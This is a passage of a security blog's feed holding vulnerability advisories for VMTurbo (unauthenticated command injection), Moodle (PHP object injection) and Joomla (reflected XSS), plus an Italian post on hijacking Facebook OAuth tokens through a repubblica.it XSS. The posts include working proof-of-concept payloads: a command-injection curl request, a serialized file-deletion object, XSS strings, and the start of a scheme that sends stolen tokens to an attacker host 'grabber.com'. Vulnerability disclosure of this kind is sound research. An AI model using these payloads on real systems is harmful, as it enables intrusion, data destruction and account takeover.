                &lt;span class=&quot;nb&quot;&gt;close&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DLFILE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;# remove the log file as we dont need it&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;# Allow at least one read of the logs first&lt;/span&gt;
                &lt;span class=&quot;nb&quot;&gt;sleep&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;nb&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;rm \&quot;$upload_dir$statusfile\&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Content-Type:application/zip\n&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Content-Disposition:attachment;filename=vmtbackup.zip\n\n&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;@fileholder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;While most of the available actions call the &lt;code class=&quot;highlighter-rouge&quot;&gt;authenticate()&lt;/code&gt; function to authenticate the request, the actions available when &lt;code class=&quot;highlighter-rouge&quot;&gt;callType&lt;/code&gt; is set to &lt;code class=&quot;highlighter-rouge&quot;&gt;DOWN&lt;/code&gt; are not protected by the authentication check. Moreover, some of these actions call the Perl function &lt;code class=&quot;highlighter-rouge&quot;&gt;system()&lt;/code&gt; passing as parameter the unsanitized user input.&lt;/p&gt;

&lt;h2 id=&quot;poc&quot;&gt;POC&lt;/h2&gt;

&lt;p&gt;The exploitation is blind and the command execution output is not returned to the HTTP request. We can obviusly use some time-based command to verify the vulnerabilty:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;time &lt;/span&gt;curl &lt;span class=&quot;s2&quot;&gt;&quot;http://192.168.0.149/cgi-bin/vmtadmin.cgi?callType=ACTION&amp;amp;actionType=DOWN&amp;amp;fileDate=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;sleep 10&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
real	0m10.114s
user	0m0.010s
sys     0m0.009s
&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The curl request returns after 10 seconds due to the &lt;code class=&quot;highlighter-rouge&quot;&gt;sleep 10&lt;/code&gt; command executed on the vulnerable system.&lt;/p&gt;

&lt;h2 id=&quot;metasploit-module&quot;&gt;METASPLOIT MODULE&lt;/h2&gt;

&lt;p&gt;Find the metasploit module &lt;a href=&quot;https://github.com/epinna/advisories/blob/master/CVE-2014-5073/vmturbo_vmtadmin_exec_noauth.rb&quot;&gt;vmturbo_vmtadmin_exec_noauth.rb&lt;/a&gt; in my Github &lt;a href=&quot;https://github.com/epinna/advisories&quot;&gt;Advisories&lt;/a&gt; repository and find below a quick example of how it works.&lt;/p&gt;

&lt;script type=&quot;text/javascript&quot; src=&quot;https://asciinema.org/a/11176.js&quot; id=&quot;asciicast-11176&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;h2 id=&quot;references&quot;&gt;REFERENCES&lt;/h2&gt;

&lt;p&gt;The &lt;a href=&quot;http://secunia.com/secunia_research/2014-8/&quot;&gt;advisory&lt;/a&gt; has been originally published by Emilio Pinna, Secunia Resarch.&lt;/p&gt;

&lt;p&gt;Secunia has assigned the advisory id &lt;a href=&quot;http://secunia.com/advisories/58880&quot;&gt;SA58880&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5073&quot;&gt;CVE-2014-5073&lt;/a&gt; to the vulnerability.&lt;/p&gt;

&lt;h2 id=&quot;disclosure&quot;&gt;DISCLOSURE&lt;/h2&gt;

&lt;p&gt;16/06/2014 - Request for Security contact.
17/06/2014 - Vendor reply with contact details.
19/06/2014 – Vendor notified with vulnerability details.
01/07/2014 - Preliminary release date adjusted to 14th July, 2014.
18/07/2014 – Vendor provides KB article.
25/07/2014 – Public disclosure.&lt;/p&gt;</content><category term="CVE-2014-5073" /><category term="advisory" /><category term="vmturbo" /><category term="pentesting" /><category term="security" /><category term="vulnerability" /><category term="rce" /><category term="cgi" /><category term="command execution" /><summary>VMTurbo Operations Manager is an appliance for the virtual machine management and can be exploite to compromise a vulnerable system due to an unauthenticated remote command execution vulnerability.</summary></entry><entry><title>Breaking Joomla! at Joomladay 2013</title><link href="http://disse.cting.org//2013/10/13/2013-10-13-breaking-joomla-at-joomladay-2013" rel="alternate" type="text/html" title="Breaking Joomla! at Joomladay 2013" /><published>2013-10-13T19:04:31+00:00</published><updated>2013-10-13T19:04:31+00:00</updated><id>http://disse.cting.org//2013/10/13/2013-10-13-breaking-joomla-at-joomladay-2013</id><content type="html" xml:base="http://disse.cting.org//2013/10/13/2013-10-13-breaking-joomla-at-joomladay-2013">&lt;p&gt;Sono stato chiamato per esporre un talk sulle vulnerabilità delle web applications e in particolare di Joomla! in occasione del &lt;a href=&quot;http://www.joomladay.it/&quot;&gt;JoomlaDay 2013&lt;/a&gt; italiano, svoltosi ieri nella bella area fiere Mostra d’oltremare a Napoli. E’ stata una occasione per toccare	 con mano la simpatia e l’operosità della community di Joomla italiana, e per conoscere altri Security Analyst come il bravo &lt;a href=&quot;http://karmainsecurity.com/&quot;&gt;Egidio Romano&lt;/a&gt; che ha presentato un interessante talk sul PHP object injection.&lt;/p&gt;

&lt;p&gt;Bella manifestazione, calorosa e allegra. Le &lt;a href=&quot;http://www.joomladay.it/foto.html&quot;&gt;foto&lt;/a&gt; della giornata, e a breve anche le registrazioni degli interventi, sono sul &lt;a href=&quot;http://www.joomladay.it/&quot;&gt;sito&lt;/a&gt; ufficiale del joomladay.&lt;/p&gt;

&lt;p&gt;La &lt;a href=&quot;/codes/BreakingJoomla/&quot;&gt;presentazione&lt;/a&gt; non è particolarmente tecnica ed è fatta per essere comprensibile anche da chi non abbia particolari conoscenze di sicurezza. Per avviarla cliccate sulla immagine successiva e muovetevi nelle schermate con le freccette della tastiera. Have fun.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;http://disse.cting.org//assets/codes/BreakingJoomla/&quot;&gt;&lt;img src=&quot;http://disse.cting.org//assets/img/breaking_joomla.jpg&quot; alt=&quot;Breaking Joomla&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content><category term="joomla" /><category term="naples" /><category term="joomladay2013" /><category term="security" /><category term="vulnerabilities" /><category term="slides" /><category term="talk" /><summary>Sono stato chiamato per esporre un talk sulle vulnerabilità delle web applications e in particolare di Joomla! in occasione del JoomlaDay 2013 italiano, svoltosi ieri nella bella area fiere Mostra d’oltremare a Napoli. E’ stata una occasione per toccare	 con mano la simpatia e l’operosità della community di Joomla italiana, e per conoscere altri Security Analyst come il bravo Egidio Romano che ha presentato un interessante talk sul PHP object injection.</summary></entry><entry><title>Moodle 2.5.0-1 badges/external.php PHP Object Injection</title><link href="http://disse.cting.org//2013/09/16/2013-09-16-moodle-2-5-0-1-badges-external-object-injection" rel="alternate" type="text/html" title="Moodle 2.5.0-1 badges/external.php PHP Object Injection" /><published>2013-09-16T12:58:30+00:00</published><updated>2013-09-16T12:58:30+00:00</updated><id>http://disse.cting.org//2013/09/16/2013-09-16-moodle-2_5_0_1-badges-external-object-injection</id><content type="html" xml:base="http://disse.cting.org//2013/09/16/2013-09-16-moodle-2-5-0-1-badges-external-object-injection">&lt;p&gt;Moodle CMS is prone to an object injection vulnerability, which can be exploited to execute internal PHP code passing malicious user-supplied input to an internal &lt;code class=&quot;highlighter-rouge&quot;&gt;unserialize()&lt;/code&gt; PHP function.&lt;/p&gt;

&lt;p&gt;The attacker can inject ad-hoc serialized object into the application scope, reusing internal PHP code snippets maliciously. In this scenario the attacker can delete arbitrary files and conduct XSS attacks.&lt;/p&gt;

&lt;p&gt;The vulnerability affects Moodle CMS versions 2.5.0 and 2.5.1&lt;/p&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;

&lt;p&gt;The affected file &lt;code class=&quot;highlighter-rouge&quot;&gt;badges/external.php&lt;/code&gt; unserializes the user input in the line 35&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$json = required_param('badge', PARAM_RAW);
$badge = new external_badge(unserialize($json));
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;poc&quot;&gt;POC&lt;/h2&gt;

&lt;p&gt;To exploit this kind of vulnerability is necessary to reuse some object method called during the life time of the object instance. As explained in the PHP &lt;a href=&quot;http://php.net/manual/en/language.oop5.magic.php&quot;&gt;manual&lt;/a&gt; magic methods documentation, two methods are necessarly called:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;__wakeup()&lt;/code&gt;: This method is called at the wake up of the sleeping unserialized object.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;__destroy()&lt;/code&gt;: As in other object-oriented languages, the destructor method is called at the end of the instance life.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Moreover two other &lt;code class=&quot;highlighter-rouge&quot;&gt;__get(string $name)&lt;/code&gt; methods are called during this particular object instance lifetime, in the form of &lt;code class=&quot;highlighter-rouge&quot;&gt;instance-&amp;gt;$name&lt;/code&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;__get(&quot;assertion&quot;)&lt;/code&gt;: Called in badges/renderer.php:377 &lt;code class=&quot;highlighter-rouge&quot;&gt;$issued-&amp;gt;assertion&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;__get(&quot;imageUrl&quot;)&lt;/code&gt;: Called in badges/renderer.php:389 &lt;code class=&quot;highlighter-rouge&quot;&gt;array('src' =&amp;gt; $issued-&amp;gt;imageUrl)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;file-delete&quot;&gt;FILE DELETE&lt;/h3&gt;

&lt;p&gt;The method &lt;code class=&quot;highlighter-rouge&quot;&gt;csv_export_writer::__destruct()&lt;/code&gt; in lib/csvlib.class.php:538 contains&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    public function __destruct() {
        fclose($this-&amp;gt;fp);
        unlink($this-&amp;gt;path);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;This can be exploited to delete arbitrary files passing the serialized object. Here the PoC to delete &lt;code class=&quot;highlighter-rouge&quot;&gt;/path/of/the/file/to/delete&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://localhost/badges/external.php?badge=O:17:&quot;csv_export_writer&quot;:1:{s:4:&quot;path&quot;;s:27:&quot;/path/of/the/file/to/delete&quot;;}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;xss&quot;&gt;XSS&lt;/h3&gt;

&lt;p&gt;The vulnerable script &lt;code class=&quot;highlighter-rouge&quot;&gt;badges/external.php&lt;/code&gt; prints in line 43 the HTML code rendered using the injected unserialized &lt;code class=&quot;highlighter-rouge&quot;&gt;$badge&lt;/code&gt; object&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;echo $output-&amp;gt;render($badge);
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The rendered HTML page built in the &lt;code class=&quot;highlighter-rouge&quot;&gt;core_badges_renderer::render_external_badge()&lt;/code&gt; reflects the two object variable &lt;code class=&quot;highlighter-rouge&quot;&gt;assertion&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;imageurl&lt;/code&gt; that can be used as XSS vector. Here the PoC of the XSS:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://localhost/badges/external.php?badge=O:8:&quot;stdClass&quot;:2:{s:8:&quot;imageUrl&quot;;s:0:&quot;&quot;;s:9:&quot;assertion&quot;;O:8:&quot;stdClass&quot;:1:{s:5:&quot;badge&quot;;O:8:&quot;stdClass&quot;:1:{s:6:&quot;issuer&quot;;O:8:&quot;stdClass&quot;:1:{s:4:&quot;name&quot;;s:30:&quot;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!--&quot;;}}}}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;cve-reference&quot;&gt;CVE REFERENCE&lt;/h2&gt;

&lt;p&gt;The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-5674&quot;&gt;CVE-2013-5674&lt;/a&gt; to the vulnerability&lt;/p&gt;

&lt;h2 id=&quot;disclosure&quot;&gt;DISCLOSURE&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;29/Jul/2013: Vendor alerted with MDL-40924 ticket&lt;/li&gt;
  &lt;li&gt;02/Sep/2013: Released fix commit 2d3c0faef by Yuliya Bozhko&lt;/li&gt;
  &lt;li&gt;07/Sep/2013: Moodle release 2.5.2&lt;/li&gt;
  &lt;li&gt;16/Sep/2013: Public disclosure&lt;/li&gt;
&lt;/ul&gt;</content><category term="CVE-2013-5674" /><category term="advisory" /><category term="moodle" /><category term="pentesting" /><category term="security" /><category term="vulnerability" /><category term="xss" /><category term="php" /><category term="object injection" /><summary>Moodle CMS is prone to an object injection vulnerability, which can be exploited to execute internal PHP code passing malicious user-supplied input to an internal unserialize() PHP function.</summary></entry><entry><title>Joomla core 3.1.5 reflected XSS vulnerability</title><link href="http://disse.cting.org//2013/08/05/joomla-core-3-1-5-reflected-xss-vulnerability" rel="alternate" type="text/html" title="Joomla core 3.1.5 reflected XSS vulnerability" /><published>2013-08-05T12:58:30+00:00</published><updated>2013-08-05T12:58:30+00:00</updated><id>http://disse.cting.org//2013/08/05/joomla-core-3_1_5_reflected-xss-vulnerability</id><content type="html" xml:base="http://disse.cting.org//2013/08/05/joomla-core-3-1-5-reflected-xss-vulnerability">&lt;p&gt;&lt;a href=&quot;http://www.joomla.org&quot;&gt;Joomla&lt;/a&gt; core &lt;code class=&quot;highlighter-rouge&quot;&gt;3.1.5&lt;/code&gt; suffers from a reflected XSS vulnerability that allows to inject HTML and malicious scripts. This can be exploited by malicious people to steal cookies and other sensitive information of other legitimate users in the context of the affected website.&lt;/p&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;

&lt;p&gt;The affected file &lt;code class=&quot;highlighter-rouge&quot;&gt;libraries/idna_convert/example.php&lt;/code&gt; has multiple injection points;&lt;/p&gt;

&lt;p&gt;The unsanitized &lt;code class=&quot;highlighter-rouge&quot;&gt;lang&lt;/code&gt; parameter in line 24:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if (isset($_REQUEST['lang'])) {
    if ('de' == $_REQUEST['lang'] || 'en' == $_REQUEST['lang']) $lang = $_REQUEST['lang'];
    $add .= '&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;lang&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;'.$_REQUEST['lang'].'&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;'.&quot;\n&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;While lines 112 and 119 print out the unsanitized file name:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;     &lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'PHP_SELF'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;get&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The attacker can exploit these weaknesses to execute arbitrary HTML and script code tricking a legitimate logged-in user to visit a malicious crafted url:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://localhost/joomla/libraries/idna_convert/example.php?lang=&quot;&amp;gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;cve&quot;&gt;CVE&lt;/h3&gt;
&lt;p&gt;The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name &lt;a href=&quot;http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2013-5583&quot;&gt;CVE-2013-5583&lt;/a&gt; to the vulnerability.&lt;/p&gt;

&lt;h3 id=&quot;disclosure&quot;&gt;Disclosure&lt;/h3&gt;
&lt;p&gt;04/09: Vulnerability advised to the Joomla developers
05/09: Fixed deleting the example.php file
05/09: Vulnerability disclosure&lt;/p&gt;</content><category term="CVE-2013-5583" /><category term="advisory" /><category term="joomla" /><category term="pentesting" /><category term="security" /><category term="vulnerability" /><category term="xss" /><summary>Joomla core 3.1.5 suffers from a reflected XSS vulnerability that allows to inject HTML and malicious scripts. This can be exploited by malicious people to steal cookies and other sensitive information of other legitimate users in the context of the affected website.</summary></entry><entry><title>Facebook OAuth token hijacking via repubblica.it XSS</title><link href="http://disse.cting.org//2013/07/17/2013-07-17-facebook-oauth-token-hijacking-via-repubblica-it-xss" rel="alternate" type="text/html" title="Facebook OAuth token hijacking via repubblica.it XSS" /><published>2013-07-17T17:03:00+00:00</published><updated>2013-07-17T17:03:00+00:00</updated><id>http://disse.cting.org//2013/07/17/2013-07-17-facebook-oauth-token-hijacking-via-repubblica-it-xss</id><content type="html" xml:base="http://disse.cting.org//2013/07/17/2013-07-17-facebook-oauth-token-hijacking-via-repubblica-it-xss">&lt;p&gt;Facebook utilizza il protocollo OAuth per far comunicare le applicazioni e gli utenti della piattaforma allo scopo di autorizzare le applicazioni ad accedere alle informazioni e funzionalità dei profili degli utenti. Una debolezza del protocollo OAuth, in compresenza di vulnerabilità &lt;a href=&quot;https://www.owasp.org/index.php/Open_redirect&quot;&gt;open redirect&lt;/a&gt; o &lt;a href=&quot;https://www.owasp.org/index.php/XSS&quot;&gt;XSS&lt;/a&gt; nel dominio web di una applicazione Facebook, permette ad un attaccante esterno di impersonare tale applicazione e di guadagnare i permessi ad essa concessi dagli utenti, come leggere i dati personali, accedere a messaggi privati e pubblicare nelle bacheche.&lt;/p&gt;

&lt;p&gt;Queste e altre debolezze di OAuth sono state evidenziate nell’ultimo anno dagli ottimi ricercatori &lt;a href=&quot;http://www.breaksec.com&quot;&gt;Nir Goldshlager&lt;/a&gt; e &lt;a href=&quot;http://homakov.blogspot.co.il&quot;&gt;Egor Homakov&lt;/a&gt; che hanno pubblicato diversi articoli sulle &lt;a href=&quot;http://homakov.blogspot.co.il/2013/03/redirecturi-is-achilles-heel-of-oauth.html&quot;&gt;vulnerabilità&lt;/a&gt; &lt;a href=&quot;http://homakov.blogspot.co.il/2013/02/hacking-facebook-with-oauth2-and-chrome.html&quot;&gt;intrinseche&lt;/a&gt; al &lt;a href=&quot;http://www.breaksec.com/?p=6039&quot;&gt;protocollo&lt;/a&gt; OAuth.&lt;/p&gt;

&lt;p&gt;Vediamo un caso pratico dove un XSS nel dominio web di una applicazione &lt;a href=&quot;http://www.appdata.com/apps/facebook/182234715127717-la-repubblica&quot;&gt;molto usata&lt;/a&gt; come Repubblica.it permette di creare un &lt;em&gt;facebook worm&lt;/em&gt; capace di replicarsi e collezionare informazioni degli utenti. Le elucubrazioni contenute in questo articolo sono state fatte con l’aiuto dell’amico e ricercatore di sicurezza &lt;a href=&quot;http://francescomanzoni.com/&quot;&gt;Francesco Manzoni&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;facebook-oauth&quot;&gt;Facebook OAuth&lt;/h1&gt;
&lt;p&gt;Come già detto, la piattaforma Facebook utilizza OAuth per autorizzare le applicazioni ad accedere ai profili degli utenti. Ogni applicazione può accedere solo ai permessi che l’utente ha accettato alla sottoscrizione, come la lettura delle informazioni del profilo, lettura dei messaggi privati, accesso alle informazioni sugli amici, o la possibilità di pubblicare post sulla bacheca.&lt;/p&gt;

&lt;p&gt;L’autorizzazione data alla applicazione esterna avviene con un passaggio di un token univoco temporaneo che l’utente chiede a Facebook, poi inviato al sito dell’applicazione con un semplice redirect. Una volta che l’applicazione riceve il token temporaneo, può accedere alle risorse dell’utente che gli sono permesse via Facebook API. Facciamo l’esempio con l’applicazione facebook di Repubblica.it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://disse.cting.org//assets/img/oauth1.png&quot; alt=&quot;OAuth&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;vulnerability&quot;&gt;VULNERABILITY&lt;/h1&gt;

&lt;p&gt;Il token viene passato tra i tre attori con delle semplici richieste GET, a cui viene aggiunto come &lt;a href=&quot;http://en.wikipedia.org/wiki/Fragment_identifier&quot;&gt;fragment&lt;/a&gt;, dopo il carattere &lt;code class=&quot;highlighter-rouge&quot;&gt;#&lt;/code&gt;. Anche l’indirizzo CALLBACK_URL su cui viene redirezionato il browser utente per consegnare il token a Repubblica.it viene passato come parametro nel parametro &lt;code class=&quot;highlighter-rouge&quot;&gt;next&lt;/code&gt; della GET.&lt;/p&gt;

&lt;p&gt;Queste specifiche di OAuth permettono ad un attaccante di forgiare un link particolare che se visitato dall’utente forza il browser a richiedere a Facebook il token autenticativo, per poi inviarlo all’attaccante esterno via una CALLBACK_URL vulnerabile di XSS o di open redirect. Da questo momento l’attaccante possiede il token con cui per un tempo limitato può sottrarre informazioni private dell’utente, postare nella sua bacheca utente e fare ciò che i permessi dell’applicazione consentono.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://disse.cting.org//assets/img/oauth2.png&quot; alt=&quot;Attacco a OAuth&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;exploit&quot;&gt;EXPLOIT&lt;/h1&gt;

&lt;h2 id=&quot;token-hijacking&quot;&gt;TOKEN HIJACKING&lt;/h2&gt;

&lt;p&gt;Per sfruttare la vulnerabilità, è necessaria un XSS o open redirect presente nel dominio che Facebook associa alla applicazione, in questo caso Repubblica.it. Prevedibilmente l’XSS, per di più DOM, è presente nel dominio repubblica.it questo indirizzo:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://www.repubblica.it/static/includes/common/interstitial.html?href=javascript:alert(&quot;Yeah&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Procurata l’app_id della applicazione di repubblica, &lt;code class=&quot;highlighter-rouge&quot;&gt;182234715127717&lt;/code&gt;, abbozziamo la richiesta di token verso facebook&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://www.facebook.com/dialog/permissions.request?app_id=182234715127717&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;display=page&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;next=&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;response_type=token&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;fbconnect=1#sthash.q5jXmpqn.dpuf
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Inseriamo la url vulnerabile nel XSS nel parametro che indica la CALLBACK_URL, ovvero &lt;code class=&quot;highlighter-rouge&quot;&gt;next&lt;/code&gt;. In questo modo il browser dell’utente che fa la richiesta del token, viene poi ridirezionato all’indirizzo specificato in CALLBACK_URL, col quale estraiamo il token eseguendo via XSS il comando javascript &lt;code class=&quot;highlighter-rouge&quot;&gt;alert(window.location.hash);&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://www.facebook.com/dialog/permissions.request?app_id=182234715127717&lt;span class=&quot;ni&quot;&gt;&amp;amp;display=page&amp;amp;next=http://www.repubblica.it/static/includes/common/interstitial.html?href=javascript:alert(window.location.hash);&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;response_type=token&lt;span class=&quot;err&quot;&gt;&amp;amp;&lt;/span&gt;fbconnect=1#sthash.q5jXmpqn.dpuf`
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;http://disse.cting.org//assets/img/oauth3.png&quot; alt=&quot;alert token&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Siamo riusciti nell’intento di estrarre il token utilizzando il codice javascript iniettato nel XSS. Invece di mostrarlo a schermo, inviamolo allo script PHP dell’attacante installato su una terza macchina, l’host &lt;em&gt;grabber.com&lt;/em&gt; nell’ultimo grafico. Componiamo il comando javascript con qualche piccolo hack per facilitare l’hijacking verso &lt;em&gt;grabber.com&lt;/em&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Per inviare il token a un url esterno senza problemi di same origin policy, carichiamo nel documento una finta immagine da &lt;code class=&quot;highlighter-rouge&quot;&gt;grabber.com/token.php&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Rimuoviamo il carattere &lt;code class=&quot;highlighter-rouge&quot;&gt;#&lt;/code&gt; in modo che il token venga inviato come parametro della GET access_token&lt;/li&gt;
